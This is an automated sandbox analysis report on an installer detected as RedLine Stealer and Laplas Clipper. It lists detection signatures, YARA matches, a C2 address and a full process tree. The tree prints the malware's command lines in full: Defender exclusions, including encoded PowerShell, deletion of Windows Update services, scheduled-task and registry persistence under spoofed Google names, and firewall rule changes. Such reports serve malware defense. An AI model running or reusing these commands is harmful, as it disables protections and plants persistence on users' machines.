Edit tour

Windows Analysis Report
softwareinstaller.exe

Overview

General Information

Sample Name:	softwareinstaller.exe
Analysis ID:	760446
MD5:	805d5aabe2eda8c63adbe040adb92b44
SHA1:	849ffc490e0366c9e12bae162e0de0fa677003bf
SHA256:	221bcfad93520868aec7972924ea2cc5827dbf3da3965e2599b9668033ac7ec8
Tags:	exeRedLineStealer
Infos:

Detection

Laplas Clipper, RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Sigma detected: Stop multiple services

Yara detected Laplas Clipper

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Snort IDS alert for network traffic

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Uses netsh to modify the Windows network and firewall settings

Uses cmd line tools excessively to alter registry or file data

Encrypted powershell cmdline option found

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Contains functionality to inject code into remote processes

Tries to detect virtualization through RDTSC time measurements

Adds a directory exclusion to Windows Defender

Found many strings related to Crypto-Wallets (likely being stolen)

Drops executables to the windows directory (C:\Windows) and starts them

Uses schtasks.exe or at.exe to add and modify task schedules

Drops PE files with benign system names

Tries to harvest and steal browser information (history, passwords, etc)

PE file contains section with special chars

Uses powercfg.exe to modify the power settings

Sample uses process hollowing technique

Modifies power options to not sleep / hibernate

Writes to foreign memory regions

Tries to steal Crypto Currency Wallets

.NET source code references suspicious native API functions

Found hidden mapped module (file has been removed from disk)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Machine Learning detection for dropped file

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Modifies the windows firewall

Antivirus or Machine Learning detection for unpacked file

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Sleep loop found (likely to delay execution)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Uses reg.exe to modify the Windows registry

PE file contains more sections than normal

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Creates files inside the system directory

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Entry point lies outside standard sections

Enables debug privileges

Is looking for software installed on the system

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

PE / OLE file has an invalid certificate

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Classification

Process Tree

System is w10x64

softwareinstaller.exe (PID: 1020 cmdline: C:\Users\user\Desktop\softwareinstaller.exe MD5: 805D5AABE2EDA8C63ADBE040ADB92B44)

conhost.exe (PID: 576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

vbc.exe (PID: 3076 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe MD5: B3A917344F5610BEEC562556F11300FA)

conchsvt.exe (PID: 644 cmdline: "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe" MD5: 68E3359674EE7D49550B09E7FF69DCCE)

cmd.exe (PID: 3388 cmdline: "cmd.exe" /C schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 5136 cmdline: schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

brave.exe (PID: 2360 cmdline: "C:\Users\user\AppData\Local\Google\brave.exe" MD5: 9253ED091D81E076A3037E12AF3DC871)

powershell.exe (PID: 5996 cmdline: powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 6016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5032 cmdline: cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 4468 cmdline: sc stop UsoSvc MD5: D79784553A9410D15E04766AAAB77CD6)

sc.exe (PID: 5612 cmdline: sc stop WaaSMedicSvc MD5: D79784553A9410D15E04766AAAB77CD6)

sc.exe (PID: 612 cmdline: sc stop wuauserv MD5: D79784553A9410D15E04766AAAB77CD6)

sc.exe (PID: 6032 cmdline: sc stop bits MD5: D79784553A9410D15E04766AAAB77CD6)

sc.exe (PID: 6096 cmdline: sc stop dosvc MD5: D79784553A9410D15E04766AAAB77CD6)

reg.exe (PID: 3092 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 5460 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 2596 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 1176 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f MD5: E3DACF0B31841FA02064B4457D44B357)

cmd.exe (PID: 6056 cmdline: cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 4180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powercfg.exe (PID: 2888 cmdline: powercfg /x -hibernate-timeout-ac 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

powercfg.exe (PID: 4768 cmdline: powercfg /x -hibernate-timeout-dc 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

powercfg.exe (PID: 5152 cmdline: powercfg /x -standby-timeout-ac 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

powercfg.exe (PID: 1784 cmdline: powercfg /x -standby-timeout-dc 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

powershell.exe (PID: 2312 cmdline: powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' } MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 2416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

ofg.exe (PID: 5340 cmdline: "C:\Users\user\AppData\Local\Google\ofg.exe" MD5: 33DAD992607D0FFD44D2C81FE67F8FB1)

schtasks.exe (PID: 4852 cmdline: SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

chrome.exe (PID: 3176 cmdline: "C:\Users\user\AppData\Local\Google\chrome.exe" MD5: 8CD1EA50F8F4C45055400E70DA52B326)

powershell.exe (PID: 6068 cmdline: powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA== MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 5064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 2560 cmdline: powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA= MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 4956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 5236 cmdline: SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 5984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 5736 cmdline: SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 5916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

GoogleUpdate.exe (PID: 684 cmdline: C:\Windows\GoogleUpdate.exe MD5: 9A66A3DE2589F7108426AF37AB7F6B41)

netsh.exe (PID: 5788 cmdline: netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

conhost.exe (PID: 5796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

netsh.exe (PID: 4108 cmdline: netsh advfirewall firewall add rule name="Google Updater" dir=in action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

conhost.exe (PID: 2816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

netsh.exe (PID: 664 cmdline: netsh advfirewall firewall add rule name="Google Updater" dir=out action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

conhost.exe (PID: 1556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

conhost.exe (PID: 2888 cmdline: "C:\Users\user\AppData\Local\Temp\conhost.exe" MD5: 95033406F9719A72E37AB1DC499BFF86)

conchsvt.exe (PID: 5124 cmdline: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe MD5: 68E3359674EE7D49550B09E7FF69DCCE)

cmd.exe (PID: 6044 cmdline: "cmd.exe" /C schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 1264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 4228 cmdline: schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

ofg.exe (PID: 912 cmdline: C:\Users\user\AppData\Local\Google\ofg.exe MD5: 33DAD992607D0FFD44D2C81FE67F8FB1)

schtasks.exe (PID: 5180 cmdline: SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 2096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

chrome.exe (PID: 4468 cmdline: C:\Users\user\AppData\Local\Google\chrome.exe MD5: 8CD1EA50F8F4C45055400E70DA52B326)

cleanup

Malware Configuration

Threatname: RedLine

{"C2 url": ["45.15.156.155:80"], "Bot Id": "@werige", "Message": "Click Close to exit the program. Error code: 1142", "Authorization Header": "9e3d2f5fada14c3f82414f2388ff0d27"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Google\ofg.exe	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x122c9:$r1: Classes\Folder\shell\open\command 0x122ec:$k1: DelegateExecute

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000003.240524568.0000000000D72000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000036.00000002.587176669.000000000148C000.00000002.00000001.01000000.00000010.sdmp	JoeSecurity_LaplasClipper	Yara detected Laplas Clipper	Joe Security
00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: softwareinstaller.exe PID: 1020	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: vbc.exe PID: 3076	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: vbc.exe PID: 3076	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: conhost.exe PID: 2888	JoeSecurity_LaplasClipper	Yara detected Laplas Clipper	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
21.0.ofg.exe.f70000.0.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x122c9:$r1: Classes\Folder\shell\open\command 0x122ec:$k1: DelegateExecute
0.2.softwareinstaller.exe.d377a0.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.softwareinstaller.exe.d377a0.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1f4dc:$pat14: , CommandLine: 0x17157:$v2_1: ListOfProcesses 0x16eeb:$v4_3: base64str 0x17f7d:$v4_4: stringKey 0x14b08:$v4_5: BytesToStringConverted 0x13b70:$v4_6: FromBase64 0x152dc:$v4_8: procName 0x1565f:$v5_1: DownloadAndExecuteUpdate 0x16dfb:$v5_2: ITaskProcessor 0x1564d:$v5_3: CommandLineUpdate 0x1563e:$v5_4: DownloadUpdate 0x15cef:$v5_5: FileScanning 0x14e77:$v5_7: RecordHeaderField 0x14896:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
0.2.softwareinstaller.exe.d30000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.softwareinstaller.exe.d30000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x2747c:$pat14: , CommandLine: 0x1f0f7:$v2_1: ListOfProcesses 0x1ee8b:$v4_3: base64str 0x1ff1d:$v4_4: stringKey 0x1caa8:$v4_5: BytesToStringConverted 0x1bb10:$v4_6: FromBase64 0x1d27c:$v4_8: procName 0x1d5ff:$v5_1: DownloadAndExecuteUpdate 0x1ed9b:$v5_2: ITaskProcessor 0x1d5ed:$v5_3: CommandLineUpdate 0x1d5de:$v5_4: DownloadUpdate 0x1dc8f:$v5_5: FileScanning 0x1ce17:$v5_7: RecordHeaderField 0x1c836:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
26.0.ofg.exe.f70000.0.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x122c9:$r1: Classes\Folder\shell\open\command 0x122ec:$k1: DelegateExecute
48.0.GoogleUpdate.exe.1100000.0.unpack	SUSP_Unsigned_GoogleUpdate	Detects suspicious unsigned GoogleUpdate.exe	Florian Roth	0x16ac5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16dd5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x170b1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x173a1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17691:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17995:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17c81:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17f79:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18279:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18561:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18849:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18b31:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x18e35:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19141:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1943d:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19739:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19a29:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x19d35:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a025:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a305:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1a611:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ...
24.2.chrome.exe.601fa0.0.unpack	SUSP_Unsigned_GoogleUpdate	Detects suspicious unsigned GoogleUpdate.exe	Florian Roth	0x13ec5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x141d5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x144b1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x147a1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x14a91:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x14d95:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15081:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15379:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15679:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15961:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15c49:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 